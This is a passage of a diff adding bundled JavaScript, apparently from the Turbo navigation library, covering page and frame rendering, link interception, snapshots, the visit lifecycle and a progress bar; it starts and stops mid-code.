+                    this.renderPromise = new Promise((resolve) => (this.resolveRenderPromise = resolve));
+                    this.renderer = renderer;
+                    await this.prepareToRenderSnapshot(renderer);
+                    const renderInterception = new Promise((resolve) => (this.resolveInterceptionPromise = resolve));
+                    const options = { resume: this.resolveInterceptionPromise, render: this.renderer.renderElement };
+                    const immediateRender = this.delegate.allowsImmediateRender(snapshot, options);
+                    if (!immediateRender)
+                        await renderInterception;
+                    await this.renderSnapshot(renderer);
+                    this.delegate.viewRenderedSnapshot(snapshot, isPreview);
+                    this.delegate.preloadOnLoadLinksForView(this.element);
+                    this.finishRenderingSnapshot(renderer);
+                }
+                finally {
+                    delete this.renderer;
+                    this.resolveRenderPromise(undefined);
+                    delete this.renderPromise;
+                }
+            }
+            else {
+                this.invalidate(renderer.reloadReason);
+            }
+        }
+        invalidate(reason) {
+            this.delegate.viewInvalidated(reason);
+        }
+        async prepareToRenderSnapshot(renderer) {
+            this.markAsPreview(renderer.isPreview);
+            await renderer.prepareToRender();
+        }
+        markAsPreview(isPreview) {
+            if (isPreview) {
+                this.element.setAttribute("data-turbo-preview", "");
+            }
+            else {
+                this.element.removeAttribute("data-turbo-preview");
+            }
+        }
+        async renderSnapshot(renderer) {
+            await renderer.render();
+        }
+        finishRenderingSnapshot(renderer) {
+            renderer.finishRendering();
+        }
+    }
+
+    class FrameView extends View {
+        invalidate() {
+            this.element.innerHTML = "";
+        }
+        get snapshot() {
+            return new Snapshot(this.element);
+        }
+    }
+
+    class LinkInterceptor {
+        constructor(delegate, element) {
+            this.clickBubbled = (event) => {
+                if (this.respondsToEventTarget(event.target)) {
+                    this.clickEvent = event;
+                }
+                else {
+                    delete this.clickEvent;
+                }
+            };
+            this.linkClicked = ((event) => {
+                if (this.clickEvent && this.respondsToEventTarget(event.target) && event.target instanceof Element) {
+                    if (this.delegate.shouldInterceptLinkClick(event.target, event.detail.url, event.detail.originalEvent)) {
+                        this.clickEvent.preventDefault();
+                        event.preventDefault();
+                        this.delegate.linkClickIntercepted(event.target, event.detail.url, event.detail.originalEvent);
+                    }
+                }
+                delete this.clickEvent;
+            });
+            this.willVisit = ((_event) => {
+                delete this.clickEvent;
+            });
+            this.delegate = delegate;
+            this.element = element;
+        }
+        start() {
+            this.element.addEventListener("click", this.clickBubbled);
+            document.addEventListener("turbo:click", this.linkClicked);
+            document.addEventListener("turbo:before-visit", this.willVisit);
+        }
+        stop() {
+            this.element.removeEventListener("click", this.clickBubbled);
+            document.removeEventListener("turbo:click", this.linkClicked);
+            document.removeEventListener("turbo:before-visit", this.willVisit);
+        }
+        respondsToEventTarget(target) {
+            const element = target instanceof Element ? target : target instanceof Node ? target.parentElement : null;
+            return element && element.closest("turbo-frame, html") == this.element;
+        }
+    }
+
+    class LinkClickObserver {
+        constructor(delegate, eventTarget) {
+            this.started = false;
+            this.clickCaptured = () => {
+                this.eventTarget.removeEventListener("click", this.clickBubbled, false);
+                this.eventTarget.addEventListener("click", this.clickBubbled, false);
+            };
+            this.clickBubbled = (event) => {
+                if (event instanceof MouseEvent && this.clickEventIsSignificant(event)) {
+                    const target = (event.composedPath && event.composedPath()[0]) || event.target;
+                    const link = this.findLinkFromClickTarget(target);
+                    if (link && doesNotTargetIFrame(link)) {
+                        const location = this.getLocationForLink(link);
+                        if (this.delegate.willFollowLinkToLocation(link, location, event)) {
+                            event.preventDefault();
+                            this.delegate.followedLinkToLocation(link, location);
+                        }
+                    }
+                }
+            };
+            this.delegate = delegate;
+            this.eventTarget = eventTarget;
+        }
+        start() {
+            if (!this.started) {
+                this.eventTarget.addEventListener("click", this.clickCaptured, true);
+                this.started = true;
+            }
+        }
+        stop() {
+            if (this.started) {
+                this.eventTarget.removeEventListener("click", this.clickCaptured, true);
+                this.started = false;
+            }
+        }
+        clickEventIsSignificant(event) {
+            return !((event.target && event.target.isContentEditable) ||
+                event.defaultPrevented ||
+                event.which > 1 ||
+                event.altKey ||
+                event.ctrlKey ||
+                event.metaKey ||
+                event.shiftKey);
+        }
+        findLinkFromClickTarget(target) {
+            return findClosestRecursively(target, "a[href]:not([target^=_]):not([download])");
+        }
+        getLocationForLink(link) {
+            return expandURL(link.getAttribute("href") || "");
+        }
+    }
+    function doesNotTargetIFrame(anchor) {
+        if (anchor.hasAttribute("target")) {
+            for (const element of document.getElementsByName(anchor.target)) {
+                if (element instanceof HTMLIFrameElement)
+                    return false;
+            }
+            return true;
+        }
+        else {
+            return true;
+        }
+    }
+
+    class FormLinkClickObserver {
+        constructor(delegate, element) {
+            this.delegate = delegate;
+            this.linkInterceptor = new LinkClickObserver(this, element);
+        }
+        start() {
+            this.linkInterceptor.start();
+        }
+        stop() {
+            this.linkInterceptor.stop();
+        }
+        willFollowLinkToLocation(link, location, originalEvent) {
+            return (this.delegate.willSubmitFormLinkToLocation(link, location, originalEvent) &&
+                link.hasAttribute("data-turbo-method"));
+        }
+        followedLinkToLocation(link, location) {
+            const form = document.createElement("form");
+            const type = "hidden";
+            for (const [name, value] of location.searchParams) {
+                form.append(Object.assign(document.createElement("input"), { type, name, value }));
+            }
+            const action = Object.assign(location, { search: "" });
+            form.setAttribute("data-turbo", "true");
+            form.setAttribute("action", action.href);
+            form.setAttribute("hidden", "");
+            const method = link.getAttribute("data-turbo-method");
+            if (method)
+                form.setAttribute("method", method);
+            const turboFrame = link.getAttribute("data-turbo-frame");
+            if (turboFrame)
+                form.setAttribute("data-turbo-frame", turboFrame);
+            const turboAction = getVisitAction(link);
+            if (turboAction)
+                form.setAttribute("data-turbo-action", turboAction);
+            const turboConfirm = link.getAttribute("data-turbo-confirm");
+            if (turboConfirm)
+                form.setAttribute("data-turbo-confirm", turboConfirm);
+            const turboStream = link.hasAttribute("data-turbo-stream");
+            if (turboStream)
+                form.setAttribute("data-turbo-stream", "");
+            this.delegate.submittedFormLinkToLocation(link, location, form);
+            document.body.appendChild(form);
+            form.addEventListener("turbo:submit-end", () => form.remove(), { once: true });
+            requestAnimationFrame(() => form.requestSubmit());
+        }
+    }
+
+    class Bardo {
+        constructor(delegate, permanentElementMap) {
+            this.delegate = delegate;
+            this.permanentElementMap = permanentElementMap;
+        }
+        static async preservingPermanentElements(delegate, permanentElementMap, callback) {
+            const bardo = new this(delegate, permanentElementMap);
+            bardo.enter();
+            await callback();
+            bardo.leave();
+        }
+        enter() {
+            for (const id in this.permanentElementMap) {
+                const [currentPermanentElement, newPermanentElement] = this.permanentElementMap[id];
+                this.delegate.enteringBardo(currentPermanentElement, newPermanentElement);
+                this.replaceNewPermanentElementWithPlaceholder(newPermanentElement);
+            }
+        }
+        leave() {
+            for (const id in this.permanentElementMap) {
+                const [currentPermanentElement] = this.permanentElementMap[id];
+                this.replaceCurrentPermanentElementWithClone(currentPermanentElement);
+                this.replacePlaceholderWithPermanentElement(currentPermanentElement);
+                this.delegate.leavingBardo(currentPermanentElement);
+            }
+        }
+        replaceNewPermanentElementWithPlaceholder(permanentElement) {
+            const placeholder = createPlaceholderForPermanentElement(permanentElement);
+            permanentElement.replaceWith(placeholder);
+        }
+        replaceCurrentPermanentElementWithClone(permanentElement) {
+            const clone = permanentElement.cloneNode(true);
+            permanentElement.replaceWith(clone);
+        }
+        replacePlaceholderWithPermanentElement(permanentElement) {
+            const placeholder = this.getPlaceholderById(permanentElement.id);
+            placeholder === null || placeholder === void 0 ? void 0 : placeholder.replaceWith(permanentElement);
+        }
+        getPlaceholderById(id) {
+            return this.placeholders.find((element) => element.content == id);
+        }
+        get placeholders() {
+            return [...document.querySelectorAll("meta[name=turbo-permanent-placeholder][content]")];
+        }
+    }
+    function createPlaceholderForPermanentElement(permanentElement) {
+        const element = document.createElement("meta");
+        element.setAttribute("name", "turbo-permanent-placeholder");
+        element.setAttribute("content", permanentElement.id);
+        return element;
+    }
+
+    class Renderer {
+        constructor(currentSnapshot, newSnapshot, renderElement, isPreview, willRender = true) {
+            this.activeElement = null;
+            this.currentSnapshot = currentSnapshot;
+            this.newSnapshot = newSnapshot;
+            this.isPreview = isPreview;
+            this.willRender = willRender;
+            this.renderElement = renderElement;
+            this.promise = new Promise((resolve, reject) => (this.resolvingFunctions = { resolve, reject }));
+        }
+        get shouldRender() {
+            return true;
+        }
+        get reloadReason() {
+            return;
+        }
+        prepareToRender() {
+            return;
+        }
+        finishRendering() {
+            if (this.resolvingFunctions) {
+                this.resolvingFunctions.resolve();
+                delete this.resolvingFunctions;
+            }
+        }
+        async preservingPermanentElements(callback) {
+            await Bardo.preservingPermanentElements(this, this.permanentElementMap, callback);
+        }
+        focusFirstAutofocusableElement() {
+            const element = this.connectedSnapshot.firstAutofocusableElement;
+            if (elementIsFocusable(element)) {
+                element.focus();
+            }
+        }
+        enteringBardo(currentPermanentElement) {
+            if (this.activeElement)
+                return;
+            if (currentPermanentElement.contains(this.currentSnapshot.activeElement)) {
+                this.activeElement = this.currentSnapshot.activeElement;
+            }
+        }
+        leavingBardo(currentPermanentElement) {
+            if (currentPermanentElement.contains(this.activeElement) && this.activeElement instanceof HTMLElement) {
+                this.activeElement.focus();
+                this.activeElement = null;
+            }
+        }
+        get connectedSnapshot() {
+            return this.newSnapshot.isConnected ? this.newSnapshot : this.currentSnapshot;
+        }
+        get currentElement() {
+            return this.currentSnapshot.element;
+        }
+        get newElement() {
+            return this.newSnapshot.element;
+        }
+        get permanentElementMap() {
+            return this.currentSnapshot.getPermanentElementMapForSnapshot(this.newSnapshot);
+        }
+    }
+    function elementIsFocusable(element) {
+        return element && typeof element.focus == "function";
+    }
+
+    class FrameRenderer extends Renderer {
+        constructor(delegate, currentSnapshot, newSnapshot, renderElement, isPreview, willRender = true) {
+            super(currentSnapshot, newSnapshot, renderElement, isPreview, willRender);
+            this.delegate = delegate;
+        }
+        static renderElement(currentElement, newElement) {
+            var _a;
+            const destinationRange = document.createRange();
+            destinationRange.selectNodeContents(currentElement);
+            destinationRange.deleteContents();
+            const frameElement = newElement;
+            const sourceRange = (_a = frameElement.ownerDocument) === null || _a === void 0 ? void 0 : _a.createRange();
+            if (sourceRange) {
+                sourceRange.selectNodeContents(frameElement);
+                currentElement.appendChild(sourceRange.extractContents());
+            }
+        }
+        get shouldRender() {
+            return true;
+        }
+        async render() {
+            await nextAnimationFrame();
+            this.preservingPermanentElements(() => {
+                this.loadFrameElement();
+            });
+            this.scrollFrameIntoView();
+            await nextAnimationFrame();
+            this.focusFirstAutofocusableElement();
+            await nextAnimationFrame();
+            this.activateScriptElements();
+        }
+        loadFrameElement() {
+            this.delegate.willRenderFrame(this.currentElement, this.newElement);
+            this.renderElement(this.currentElement, this.newElement);
+        }
+        scrollFrameIntoView() {
+            if (this.currentElement.autoscroll || this.newElement.autoscroll) {
+                const element = this.currentElement.firstElementChild;
+                const block = readScrollLogicalPosition(this.currentElement.getAttribute("data-autoscroll-block"), "end");
+                const behavior = readScrollBehavior(this.currentElement.getAttribute("data-autoscroll-behavior"), "auto");
+                if (element) {
+                    element.scrollIntoView({ block, behavior });
+                    return true;
+                }
+            }
+            return false;
+        }
+        activateScriptElements() {
+            for (const inertScriptElement of this.newScriptElements) {
+                const activatedScriptElement = activateScriptElement(inertScriptElement);
+                inertScriptElement.replaceWith(activatedScriptElement);
+            }
+        }
+        get newScriptElements() {
+            return this.currentElement.querySelectorAll("script");
+        }
+    }
+    function readScrollLogicalPosition(value, defaultValue) {
+        if (value == "end" || value == "start" || value == "center" || value == "nearest") {
+            return value;
+        }
+        else {
+            return defaultValue;
+        }
+    }
+    function readScrollBehavior(value, defaultValue) {
+        if (value == "auto" || value == "smooth") {
+            return value;
+        }
+        else {
+            return defaultValue;
+        }
+    }
+
+    class ProgressBar {
+        constructor() {
+            this.hiding = false;
+            this.value = 0;
+            this.visible = false;
+            this.trickle = () => {
+                this.setValue(this.value + Math.random() / 100);
+            };
+            this.stylesheetElement = this.createStylesheetElement();
+            this.progressElement = this.createProgressElement();
+            this.installStylesheetElement();
+            this.setValue(0);
+        }
+        static get defaultCSS() {
+            return unindent `
+      .turbo-progress-bar {
+        position: fixed;
+        display: block;
+        top: 0;
+        left: 0;
+        height: 3px;
+        background: #0076ff;
+        z-index: 2147483647;
+        transition:
+          width ${ProgressBar.animationDuration}ms ease-out,
+          opacity ${ProgressBar.animationDuration / 2}ms ${ProgressBar.animationDuration / 2}ms ease-in;
+        transform: translate3d(0, 0, 0);
+      }
+    `;
+        }
+        show() {
+            if (!this.visible) {
+                this.visible = true;
+                this.installProgressElement();
+                this.startTrickling();
+            }
+        }
+        hide() {
+            if (this.visible && !this.hiding) {
+                this.hiding = true;
+                this.fadeProgressElement(() => {
+                    this.uninstallProgressElement();
+                    this.stopTrickling();
+                    this.visible = false;
+                    this.hiding = false;
+                });
+            }
+        }
+        setValue(value) {
+            this.value = value;
+            this.refresh();
+        }
+        installStylesheetElement() {
+            document.head.insertBefore(this.stylesheetElement, document.head.firstChild);
+        }
+        installProgressElement() {
+            this.progressElement.style.width = "0";
+            this.progressElement.style.opacity = "1";
+            document.documentElement.insertBefore(this.progressElement, document.body);
+            this.refresh();
+        }
+        fadeProgressElement(callback) {
+            this.progressElement.style.opacity = "0";
+            setTimeout(callback, ProgressBar.animationDuration * 1.5);
+        }
+        uninstallProgressElement() {
+            if (this.progressElement.parentNode) {
+                document.documentElement.removeChild(this.progressElement);
+            }
+        }
+        startTrickling() {
+            if (!this.trickleInterval) {
+                this.trickleInterval = window.setInterval(this.trickle, ProgressBar.animationDuration);
+            }
+        }
+        stopTrickling() {
+            window.clearInterval(this.trickleInterval);
+            delete this.trickleInterval;
+        }
+        refresh() {
+            requestAnimationFrame(() => {
+                this.progressElement.style.width = `${10 + this.value * 90}%`;
+            });
+        }
+        createStylesheetElement() {
+            const element = document.createElement("style");
+            element.type = "text/css";
+            element.textContent = ProgressBar.defaultCSS;
+            if (this.cspNonce) {
+                element.nonce = this.cspNonce;
+            }
+            return element;
+        }
+        createProgressElement() {
+            const element = document.createElement("div");
+            element.className = "turbo-progress-bar";
+            return element;
+        }
+        get cspNonce() {
+            return getMetaContent("csp-nonce");
+        }
+    }
+    ProgressBar.animationDuration = 300;
+
+    class HeadSnapshot extends Snapshot {
+        constructor() {
+            super(...arguments);
+            this.detailsByOuterHTML = this.children
+                .filter((element) => !elementIsNoscript(element))
+                .map((element) => elementWithoutNonce(element))
+                .reduce((result, element) => {
+                const { outerHTML } = element;
+                const details = outerHTML in result
+                    ? result[outerHTML]
+                    : {
+                        type: elementType(element),
+                        tracked: elementIsTracked(element),
+                        elements: [],
+                    };
+                return Object.assign(Object.assign({}, result), { [outerHTML]: Object.assign(Object.assign({}, details), { elements: [...details.elements, element] }) });
+            }, {});
+        }
+        get trackedElementSignature() {
+            return Object.keys(this.detailsByOuterHTML)
+                .filter((outerHTML) => this.detailsByOuterHTML[outerHTML].tracked)
+                .join("");
+        }
+        getScriptElementsNotInSnapshot(snapshot) {
+            return this.getElementsMatchingTypeNotInSnapshot("script", snapshot);
+        }
+        getStylesheetElementsNotInSnapshot(snapshot) {
+            return this.getElementsMatchingTypeNotInSnapshot("stylesheet", snapshot);
+        }
+        getElementsMatchingTypeNotInSnapshot(matchedType, snapshot) {
+            return Object.keys(this.detailsByOuterHTML)
+                .filter((outerHTML) => !(outerHTML in snapshot.detailsByOuterHTML))
+                .map((outerHTML) => this.detailsByOuterHTML[outerHTML])
+                .filter(({ type }) => type == matchedType)
+                .map(({ elements: [element] }) => element);
+        }
+        get provisionalElements() {
+            return Object.keys(this.detailsByOuterHTML).reduce((result, outerHTML) => {
+                const { type, tracked, elements } = this.detailsByOuterHTML[outerHTML];
+                if (type == null && !tracked) {
+                    return [...result, ...elements];
+                }
+                else if (elements.length > 1) {
+                    return [...result, ...elements.slice(1)];
+                }
+                else {
+                    return result;
+                }
+            }, []);
+        }
+        getMetaValue(name) {
+            const element = this.findMetaElementByName(name);
+            return element ? element.getAttribute("content") : null;
+        }
+        findMetaElementByName(name) {
+            return Object.keys(this.detailsByOuterHTML).reduce((result, outerHTML) => {
+                const { elements: [element], } = this.detailsByOuterHTML[outerHTML];
+                return elementIsMetaElementWithName(element, name) ? element : result;
+            }, undefined);
+        }
+    }
+    function elementType(element) {
+        if (elementIsScript(element)) {
+            return "script";
+        }
+        else if (elementIsStylesheet(element)) {
+            return "stylesheet";
+        }
+    }
+    function elementIsTracked(element) {
+        return element.getAttribute("data-turbo-track") == "reload";
+    }
+    function elementIsScript(element) {
+        const tagName = element.localName;
+        return tagName == "script";
+    }
+    function elementIsNoscript(element) {
+        const tagName = element.localName;
+        return tagName == "noscript";
+    }
+    function elementIsStylesheet(element) {
+        const tagName = element.localName;
+        return tagName == "style" || (tagName == "link" && element.getAttribute("rel") == "stylesheet");
+    }
+    function elementIsMetaElementWithName(element, name) {
+        const tagName = element.localName;
+        return tagName == "meta" && element.getAttribute("name") == name;
+    }
+    function elementWithoutNonce(element) {
+        if (element.hasAttribute("nonce")) {
+            element.setAttribute("nonce", "");
+        }
+        return element;
+    }
+
+    class PageSnapshot extends Snapshot {
+        constructor(element, headSnapshot) {
+            super(element);
+            this.headSnapshot = headSnapshot;
+        }
+        static fromHTMLString(html = "") {
+            return this.fromDocument(parseHTMLDocument(html));
+        }
+        static fromElement(element) {
+            return this.fromDocument(element.ownerDocument);
+        }
+        static fromDocument({ head, body }) {
+            return new this(body, new HeadSnapshot(head));
+        }
+        clone() {
+            const clonedElement = this.element.cloneNode(true);
+            const selectElements = this.element.querySelectorAll("select");
+            const clonedSelectElements = clonedElement.querySelectorAll("select");
+            for (const [index, source] of selectElements.entries()) {
+                const clone = clonedSelectElements[index];
+                for (const option of clone.selectedOptions)
+                    option.selected = false;
+                for (const option of source.selectedOptions)
+                    clone.options[option.index].selected = true;
+            }
+            for (const clonedPasswordInput of clonedElement.querySelectorAll('input[type="password"]')) {
+                clonedPasswordInput.value = "";
+            }
+            return new PageSnapshot(clonedElement, this.headSnapshot);
+        }
+        get headElement() {
+            return this.headSnapshot.element;
+        }
+        get rootLocation() {
+            var _a;
+            const root = (_a = this.getSetting("root")) !== null && _a !== void 0 ? _a : "/";
+            return expandURL(root);
+        }
+        get cacheControlValue() {
+            return this.getSetting("cache-control");
+        }
+        get isPreviewable() {
+            return this.cacheControlValue != "no-preview";
+        }
+        get isCacheable() {
+            return this.cacheControlValue != "no-cache";
+        }
+        get isVisitable() {
+            return this.getSetting("visit-control") != "reload";
+        }
+        getSetting(name) {
+            return this.headSnapshot.getMetaValue(`turbo-${name}`);
+        }
+    }
+
+    var TimingMetric;
+    (function (TimingMetric) {
+        TimingMetric["visitStart"] = "visitStart";
+        TimingMetric["requestStart"] = "requestStart";
+        TimingMetric["requestEnd"] = "requestEnd";
+        TimingMetric["visitEnd"] = "visitEnd";
+    })(TimingMetric || (TimingMetric = {}));
+    var VisitState;
+    (function (VisitState) {
+        VisitState["initialized"] = "initialized";
+        VisitState["started"] = "started";
+        VisitState["canceled"] = "canceled";
+        VisitState["failed"] = "failed";
+        VisitState["completed"] = "completed";
+    })(VisitState || (VisitState = {}));
+    const defaultOptions = {
+        action: "advance",
+        historyChanged: false,
+        visitCachedSnapshot: () => { },
+        willRender: true,
+        updateHistory: true,
+        shouldCacheSnapshot: true,
+        acceptsStreamResponse: false,
+    };
+    var SystemStatusCode;
+    (function (SystemStatusCode) {
+        SystemStatusCode[SystemStatusCode["networkFailure"] = 0] = "networkFailure";
+        SystemStatusCode[SystemStatusCode["timeoutFailure"] = -1] = "timeoutFailure";
+        SystemStatusCode[SystemStatusCode["contentTypeMismatch"] = -2] = "contentTypeMismatch";
+    })(SystemStatusCode || (SystemStatusCode = {}));
+    class Visit {
+        constructor(delegate, location, restorationIdentifier, options = {}) {
+            this.identifier = uuid();
+            this.timingMetrics = {};
+            this.followedRedirect = false;
+            this.historyChanged = false;
+            this.scrolled = false;
+            this.shouldCacheSnapshot = true;
+            this.acceptsStreamResponse = false;
+            this.snapshotCached = false;
+            this.state = VisitState.initialized;
+            this.delegate = delegate;
+            this.location = location;
+            this.restorationIdentifier = restorationIdentifier || uuid();
+            const { action, historyChanged, referrer, snapshot, snapshotHTML, response, visitCachedSnapshot, willRender, updateHistory, shouldCacheSnapshot, acceptsStreamResponse, } = Object.assign(Object.assign({}, defaultOptions), options);
+            this.action = action;
+            this.historyChanged = historyChanged;
+            this.referrer = referrer;
+            this.snapshot = snapshot;
+            this.snapshotHTML = snapshotHTML;
+            this.response = response;
+            this.isSamePage = this.delegate.locationWithActionIsSamePage(this.location, this.action);
+            this.visitCachedSnapshot = visitCachedSnapshot;
+            this.willRender = willRender;
+            this.updateHistory = updateHistory;
+            this.scrolled = !willRender;
+            this.shouldCacheSnapshot = shouldCacheSnapshot;
+            this.acceptsStreamResponse = acceptsStreamResponse;
+        }
+        get adapter() {
+            return this.delegate.adapter;
+        }
+        get view() {
+            return this.delegate.view;
+        }
+        get history() {
+            return this.delegate.history;
+        }
+        get restorationData() {
+            return this.history.getRestorationDataForIdentifier(this.restorationIdentifier);
+        }
+        get silent() {
+            return this.isSamePage;
+        }
+        start() {
+            if (this.state == VisitState.initialized) {
+                this.recordTimingMetric(TimingMetric.visitStart);
+                this.state = VisitState.started;
+                this.adapter.visitStarted(this);
+                this.delegate.visitStarted(this);
+            }
+        }
+        cancel() {
+            if (this.state == VisitState.started) {
+                if (this.request) {
+                    this.request.cancel();
+                }
+                this.cancelRender();
+                this.state = VisitState.canceled;
+            }
+        }
+        complete() {
+            if (this.state == VisitState.started) {
+                this.recordTimingMetric(TimingMetric.visitEnd);
+                this.state = VisitState.completed;
+                this.followRedirect();
+                if (!this.followedRedirect) {
+                    this.adapter.visitCompleted(this);
+                    this.delegate.visitCompleted(this);
+                }
+            }
+        }
+        fail() {
+            if (this.state == VisitState.started) {
+                this.state = VisitState.failed;
+                this.adapter.visitFailed(this);
+            }
+        }
+        changeHistory() {
+            var _a;
+            if (!this.historyChanged && this.updateHistory) {
+                const actionForHistory = this.location.href === ((_a = this.referrer) === null || _a === void 0 ? void 0 : _a.href) ? "replace" : this.action;
+                const method = getHistoryMethodForAction(actionForHistory);
+                this.history.update(method, this.location, this.restorationIdentifier);
+                this.historyChanged = true;
+            }
+        }
+        issueRequest() {
+            if (this.hasPreloadedResponse()) {
+                this.simulateRequest();
+            }
+            else if (this.shouldIssueRequest() && !this.request) {
+                this.request = new FetchRequest(this, FetchMethod.get, this.location);
+                this.request.perform();
+            }
+        }
+        simulateRequest() {
+            if (this.response) {
+                this.startRequest();
+                this.recordResponse();
+                this.finishRequest();
+            }
+        }
+        startRequest() {
+            this.recordTimingMetric(TimingMetric.requestStart);
+            this.adapter.visitRequestStarted(this);
+        }
+        recordResponse(response = this.response) {
+            this.response = response;
+            if (response) {
+                const { statusCode } = response;
+                if (isSuccessful(statusCode)) {
+                    this.adapter.visitRequestCompleted(this);
+                }
+                else {
+                    this.adapter.visitRequestFailedWithStatusCode(this, statusCode);
+                }
+            }
+        }
+        finishRequest() {
+            this.recordTimingMetric(TimingMetric.requestEnd);
+            this.adapter.visitRequestFinished(this);
+        }
+        loadResponse() {
+            if (this.response) {
+                const { statusCode, responseHTML } = this.response;
+                this.render(async () => {
+                    if (this.shouldCacheSnapshot)
+                        this.cacheSnapshot();
+                    if (this.view.renderPromise)
+                        await this.view.renderPromise;
+                    if (isSuccessful(statusCode) && responseHTML != null) {
+                        await this.view.renderPage(PageSnapshot.fromHTMLString(responseHTML), false, this.willRender, this);
+                        this.performScroll();
+                        this.adapter.visitRendered(this);
+                        this.complete();
+                    }
+                    else {
+                        await this.view.renderError(PageSnapshot.fromHTMLString(responseHTML), this);
+                        this.adapter.visitRendered(this);
+                        this.fail();
+                    }
+                });
+            }
+        }
+        getCachedSnapshot() {
+            const snapshot = this.view.getCachedSnapshotForLocation(this.location) || this.getPreloadedSnapshot();
+            if (snapshot && (!getAnchor(this.location) || snapshot.hasAnchor(getAnchor(this.location)))) {
+                if (this.action == "restore" || snapshot.isPreviewable) {
+                    return snapshot;
+                }
+            }
+        }
+        getPreloadedSnapshot() {
+            if (this.snapshotHTML) {
+                return PageSnapshot.fromHTMLString(this.snapshotHTML);
+            }
+        }
+        hasCachedSnapshot() {
+            return this.getCachedSnapshot() != null;
+        }
+        loadCachedSnapshot() {
+            const snapshot = this.getCachedSnapshot();
+            if (snapshot) {
+                const isPreview = this.shouldIssueRequest();
+                this.render(async () => {
+                    this.cacheSnapshot();
+                    if (this.isSamePage) {
+                        this.adapter.visitRendered(this);
+                    }
+                    else {
+                        if (this.view.renderPromise)
+                            await this.view.renderPromise;
+                        await this.view.renderPage(snapshot, isPreview, this.willRender, this);
+                        this.performScroll();
+                        this.adapter.visitRendered(this);
+                        if (!isPreview) {
+                            this.complete();
+                        }
+                    }
+                });
+            }
+        }
+        followRedirect() {
+            var _a;
+            if (this.redirectedToLocation && !this.followedRedirect && ((_a = this.response) === null || _a === void 0 ? void 0 : _a.redirected)) {
+                this.adapter.visitProposedToLocation(this.redirectedToLocation, {
+                    action: "replace",
+                    response: this.response,
+                    shouldCacheSnapshot: false,
+                    willRender: false,
+                });
+                this.followedRedirect = true;
+            }
+        }
+        goToSamePageAnchor() {
+            if (this.isSamePage) {
+                this.render(async () => {
+                    this.cacheSnapshot();
+                    this.performScroll();
+                    this.changeHistory();
+                    this.adapter.visitRendered(this);
+                });
+            }
+        }
+        prepareRequest(request) {
+            if (this.acceptsStreamResponse) {
+                request.acceptResponseType(StreamMessage.contentType);
+            }
+        }
+        requestStarted() {
+            this.startRequest();
+        }
+        requestPreventedHandlingResponse(_request, _response) { }
+        async requestSucceededWithResponse(request, response) {
+            const responseHTML = await response.responseHTML;
+            const { redirected, statusCode } = response;
+            if (responseHTML == undefined) {
+                this.recordResponse({
+                    statusCode: SystemStatusCode.contentTypeMismatch,
+                    redirected,
+                });
+            }
+            else {
+                this.redirectedToLocation = response.redirected ? response.location : undefined;
+                this.recordResponse({ statusCode: statusCode, responseHTML, redirected });
+            }
+        }
+        async requestFailedWithResponse(request, response) {
+            const responseHTML = await response.responseHTML;
+            const { redirected, statusCode } = response;
+            if (responseHTML == undefined) {
+                this.recordResponse({
+                    statusCode: SystemStatusCode.contentTypeMismatch,
+                    redirected,
+                });
+            }
+            else {
+                this.recordResponse({ statusCode: statusCode, responseHTML, redirected });
+            }
+        }
+        requestErrored(_request, _error) {
+            this.recordResponse({
+                statusCode: SystemStatusCode.networkFailure,
+                redirected: false,
+            });
+        }
+        requestFinished() {
+            this.finishRequest();
+        }
+        performScroll() {
+            if (!this.scrolled && !this.view.forceReloaded) {
+                if (this.action == "restore") {
+                    this.scrollToRestoredPosition() || this.scrollToAnchor() || this.view.scrollToTop();
+                }
+                else {
+                    this.scrollToAnchor() || this.view.scrollToTop();
+                }
+                if (this.isSamePage) {
+                    this.delegate.visitScrolledToSamePageLocation(this.view.lastRenderedLocation, this.location);
+                }
+                this.scrolled = true;
+            }
+        }
+        scrollToRestoredPosition() {
+            const { scrollPosition } = this.restorationData;
+            if (scrollPosition) {
+                this.view.scrollToPosition(scrollPosition);
+                return true;
+            }
+        }
+        scrollToAnchor() {
+            const anchor = getAnchor(this.location);
+            if (anchor != null) {
+                this.view.scrollToAnchor(anchor);
+                return true;
+            }
+        }
+        recordTimingMetric(metric) {
+            this.timingMetrics[metric] = new Date().getTime();
+        }
+        getTimingMetrics() {
+            return Object.assign({}, this.timingMetrics);
+        }
+        getHistoryMethodForAction(action) {
+            switch (action) {
+                case "replace":
+                    return history.replaceState;
+                case "advance":
+                case "restore":
+                    return history.pushState;
+            }
+        }
+        hasPreloadedResponse() {
+            return typeof this.response == "object";
+        }
+        shouldIssueRequest() {
+            if (this.isSamePage) {
+                return false;
+            }
+            else if (this.action == "restore") {
+                return !this.hasCachedSnapshot();
+            }
+            else {
+                return this.willRender;
+            }
+        }
+        cacheSnapshot() {
+            if (!this.snapshotCached) {
+                this.view.cacheSnapshot(this.snapshot).then((snapshot) => snapshot && this.visitCachedSnapshot(snapshot));
+                this.snapshotCached = true;
+            }
+        }
+        async render(callback) {
+            this.cancelRender();
+            await new Promise((resolve) => {
+                this.frame = requestAnimationFrame(() => resolve());
+            });
+            await callback();
+            delete this.frame;
+        }
+        cancelRender() {
+            if (this.frame) {
+                cancelAnimationFrame(this.frame);
+                delete this.frame;
+            }
+        }
+    }
+    function isSuccessful(statusCode) {
+        return statusCode >= 200 && statusCode < 300;
+    }
+
+    class BrowserAdapter {
+        constructor(session) {
+            this.progressBar = new ProgressBar();
+            this.showProgressBar = () => {
+                this.progressBar.show();
+            };
+            this.session = session;
+        }
+        visitProposedToLocation(location, options) {
+            this.navigator.startVisit(location, (options === null || options === void 0 ? void 0 : options.restorationIdentifier) || uuid(), options);
+        }
+        visitStarted(visit) {
+            this.location = visit.location;
+            visit.loadCachedSnapshot();
+            visit.issueRequest();
+            visit.goToSamePageAnchor();
+        }
+        visitRequestStarted(visit) {
+            this.progressBar.setValue(0);
+            if (visit.hasCachedSnapshot() || visit.action != "restore") {
+                this.showVisitProgressBarAfterDelay();
+            }
+            else {
+                this.showProgressBar();
+            }
+        }
+        visitRequestCompleted(visit) {
+            visit.loadResponse();
+        }
+        visitRequestFailedWithStatusCode(visit, statusCode) {
+            switch (statusCode) {
+                case SystemStatusCode.networkFailure:
+                case SystemStatusCode.timeoutFailure:
+                case SystemStatusCode.contentTypeMismatch:
+                    return this.reload({
+                        reason: "request_failed",
+                        context: {
+                            statusCode,
+                        },
+                    });
+                default:
+                    return visit.loadResponse();
+            }
+        }
+        visitRequestFinished(_visit) {
+            this.progressBar.setValue(1);
+            this.hideVisitProgressBar();
+        }
+        visitCompleted(_visit) { }
+        pageInvalidated(reason) {
+            this.reload(reason);
+        }
+        visitFailed(_visit) { }
+        visitRendered(_visit) { }
